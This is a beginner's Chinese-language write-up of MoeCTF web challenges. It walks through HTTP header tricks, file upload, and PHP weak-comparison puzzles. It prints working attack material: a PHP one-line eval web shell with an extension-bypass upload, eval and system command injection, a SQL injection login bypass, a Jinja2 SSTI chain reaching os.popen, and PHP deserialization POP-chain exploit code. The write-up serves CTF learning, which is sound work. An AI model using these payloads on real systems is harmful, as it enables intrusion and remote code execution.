記錄下自己做題的經歷,歡迎老登們參觀
1.入門指北:
沒啥好說的,解壓以後phpstudy開一個網頁放在資料夾裡直接就能出flag。
2.弗拉格之地的入口:
題目也是非常直接(畢竟是引導我這種小白),我直接召喚dirsearch掃描,也是順利得到結果 ,開啟網頁
進入/webtutorEntry.php,成功獲得本題flag
3.墊刀之路01: MoeCTF?啟動!
看到命令框直接ls加cat結果發現不在這,讓我們查詢環境變數。
那就查詢環境變數,直接出了flag(雖然很簡單,但是其實教會了我這個小白怎麼查詢環境變數)。
4.ez_http:
使用HackBar跟著指導做即可:
(1)post隨便發一個值然後根據提示post輸入imoau=sb;
(2)url後根據提示get輸入"?xt=大帥b";
(3)Referer設定為https://www.xidian.edu.cn/;
(4)設定cookie為"user=admin";
(5)User Agent設定為MoeDedicatedBrowser;
(6)提示"Local access only",故直接新增header為X-Forwarded-For : 127.0.0.1
喜提flag:
5.ProveYourLove:
先隨便提交一份發現無法再次提交,F12發現只能提交一次。雖然說看不懂程式碼,但能看出第二次提交被ban了,又發現提交表白資料和更新表白次數先後響應,考慮能不能卡住時間多發請求,想到了burp抓包,當然得重新開一次容器。
如圖配置一下,退出後顯示flag:
6.弗拉格之地的挑戰:
前面兩個分別檢視原始碼和響應頭,直接跳轉到第三個,第三個用HackBar在url輸入"?a=1",post輸入"b=2",後說用admin身份驗證,直接將cookie的值改成admin就行了,重新整理得到第三串flag。
進入第四關前要求"從http://localhost:8080/flag3cad.php?a=1 點選連結過來",那就把Referer改為http://localhost:8080/flag3cad.php?a=1。
正式進入第四關,
確實有點抽象,但是可以F12一下發現可以把這裡的8(別的也行)的id值改成9。
然後點選原本8的按鈕就可以了,提示使用console.log為我們生成flag,就直接看F12控制檯出的日誌資訊就行了,順便前往第五關。
第五關讓我們輸入"I want flag"直接輸入後彈出"你就這麼直接?"發現是以彈窗形式的提示,趕緊觀察檢視器裡面的程式碼發現有一個event
直接給它關了,再次輸入"I want flag"得到flag5。
進入第六關是一個非常簡單的程式碼審計,
提示要以get和post形式輸入兩個$moe並且get輸入的$moe不能含有"flag"但是得符合不受大小寫的"flag",故輸入?moe=Flag同時別忘了post輸入moe=1。進入第七關。
第七關讓我們借用"eval($_POST['what']);"的力量,那直接post輸入"what=phpinfo();"發現沒有flag,那就改成"what=system("ls ../../../");"發現有一個flag7檔案,直接檢視"what=system("cat ../../../flag7");"喜提最後一段flag,最後將前面獲得的flag碎片拼起來解個碼就可以得到flag了。
7.ImageCloud前置
觀察原始碼使用file偽協議讀取檔案,輸入'file://'發現無事發生,於是加一個斜槓'file:///'
接著根據提示進入etc/passwd得到flag
8.墊刀之路02: 普通的檔案上傳
沒有對檔案形式進行限制,直接上傳.php檔案寫入一句話木馬即可
<?php @eval($_POST['pass']);?>
接著進入上傳頁面並如圖發出post請求進入phpinfo();查詢(Ctrl+F)得到flag
9.墊刀之路03: 這是一個圖床:
依舊上傳木馬檔案發現限制了檔案型別,那就把木馬檔案的字尾名改為".jpg"上傳時使用burp改包改為".php"檔案再發出,下面做法就與上面相同,flag也是在phpinfo();裡面。
10.登陸網站:
告訴我們使用者名稱為admin123,密碼難以破解,那就考慮sql注入
點選登入即得flag:
11.墊刀之路07: 洩漏的密碼:
網頁告訴我們pin碼,先使用dirsearch掃描出登陸頁面,
進入後輸入對應的pin,來到console發現是python的控制檯。
找了挺久沒找到最後發現就在當前目錄……
12.墊刀之路04: 一個檔案瀏覽器:
告訴我們這個頁面沒用,那我們直接換個頁面,改url後面的path就行
終於找到了flag但是開啟後顯示不在此位置但是提示位置不遠,最後在tmp裡面找到flag
13.靜態網頁:
看看原始碼,發現給了提示
直接點沒有任何結果,那就抓個包
讓我們進入/final1l1l_challenge.php。進入後是一段php程式碼
意思是讓我們get輸入a,post輸入b,且兩個變數都不是數字,然後a弱相等等於0,md5($a)和b的第$a個元素弱相等,那其實只要a第一位數字是字母,md5($a)為經典0e開頭數字,b隨便取個0k就行,構造?a=QNKCDZO,post輸入b=0k就可以了。得到flag。
14.電院_Backend:
先掃描發現/admin/這個目錄,直接進入
看看原始碼發現or被ban掉了,那就換成||,輸入sql萬能語句
admin@qq.com' || 1=1 #
隨便輸個密碼,填好驗證碼後顯示我們登陸成功,取得flag(就是消失的速度有點快)。
15.勇闖銅人陣:
沒啥好說的,直接寫指令碼,把url換成自己題目的(真頭一回寫,寫了好久)
import requests
session=requests.session()
url="http://127.0.0.1:53592/"
data={
'player':'wuxuanyi',
'direct':'弟子明白'
}
a=["北方","東北方","東方","東南方","南方","西南方","西方","西北方"]
b=["北方一個","東北方一個","東方一個","東南方一個","南方一個","西南方一個","西方一個","西北方一個"]
t=['1','2','3','4','5','6','7','8']
n=1
response=session.post(url=url,data=data)
while n<=6:
x=0
list1=[]
m=response.text[-30:-21]
for i in m:
if i in t:
x+=1
list1.append(int(i))
if x==1:
data1 ={
'player':'wuxuanyi',
'direct': f'{a[list1[0]-1]}'
}
response= session.post(url=url, data=data1)
print(response.text)
if x==2:
data2 = {
'player':'wuxuanyi',
'direct': f'{b[list1[0]-1]},{b[list1[1]-1]}'
}
response= session.post(url=url, data=data2)
print(response.text)
n+=1
執行得到flag:
16.who's blog?
傳一個?id=1發現頁面發生變化,感覺像是ssti注入
輸入?id={{7*7}}發現回顯49,那就可以確定了。先拿基類
?id={{().__class__.__base__}}
再拿子類
?id={{().__class__.__base__.__subclasses__()}}
找到warnings.catch項,程式碼定位位置
?id={{().__class__.__base__.__subclasses__()[239]}}
下面確定存在eval內建函式
?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__}}
呼叫一下發現沒有flag
?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
直接考慮找環境變數
?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("export").read()')}}
成功找到flag
17.墊刀之路06: pop base mini moe:
考驗我們審計程式碼的能力(這個我是真沒有)。意思是有兩個類A和B和一個解構函式,一個魔術方法__invoke()。我們可以利用這個invoke呼叫b作為一個函式,前面的$s恰好能觸發這個魔術方法,只要把B放入A中,寫寫程式碼(藏了點私貨):
<?php
class A {
// 注意 private 屬性的序列化哦
private $evil = "ls /";
// 如何賦值呢
private $a;
function C1432($t){
$this->a=$t;
}
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}
class B {
private $b = system;
function __invoke($c) {
$s = $this->b;
$s($c);
}
}
$m = new A();
$n = new B();
$m->C1432($n);
echo urlencode(serialize($m));
?>
查詢到目錄有flag,直接換成cat指令讀出即可。
16.pop moe:
先觀察程式碼,發現有四個類,注意幾個魔術方法。發現反序列化的時候會先執行解構函式(__destruct()),然後檢視pay10ad的值,所以可以先把初始值賦1,注意最後面的eval,這顯然是我們想最終達到的地方,我們希望能執行phpinfo();之類的命令,那我們正向看看,看class000,由於這裡面的$a會作為函式執行,我們先辦法把$what賦值成class001類,進而賦值給$a,這樣我們就可以呼叫class001裡面的魔術方法__invoke,下面考慮觸發魔術方法__set發現有個一變數payload是不存在的,那我們只要把這裡的$a賦值為class002,下面的邏輯就是開啟dangerous函式,並給引數為class003,這樣可以呼叫魔術方法__tostring,這樣將引數$mystr最終傳給evvval函式執行,構造payload如下:
<?php
class class000 {
private $payl0ad=1;
protected $what;
function c1432($t){
$this->what=$t;
}
public function __construct()
{
$this->what;
}
// public function check()
// {
// if($this->payl0ad === 0)
// {
// die('FAILED TO ATTACK');
// }
// $a = $this->what;
// $a();
// }
}
class class001 {
public $payl0ad=dangerous;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}
class class002 {
private $sec;
function C123($t){
$this->sec=$t;
}
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
}
class class003 {
public $mystr='phpinfo();';
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
$m=new class000();
$n=new class001();
$m->c1432($n);
$s=new class002();
$n->a=$s;
$t=new class003();
$s->C123($t);
echo urlencode(serialize($m));
?>
可以在phpinfo();裡面搜尋得到flag。
~~目前只會這麼多了QwQ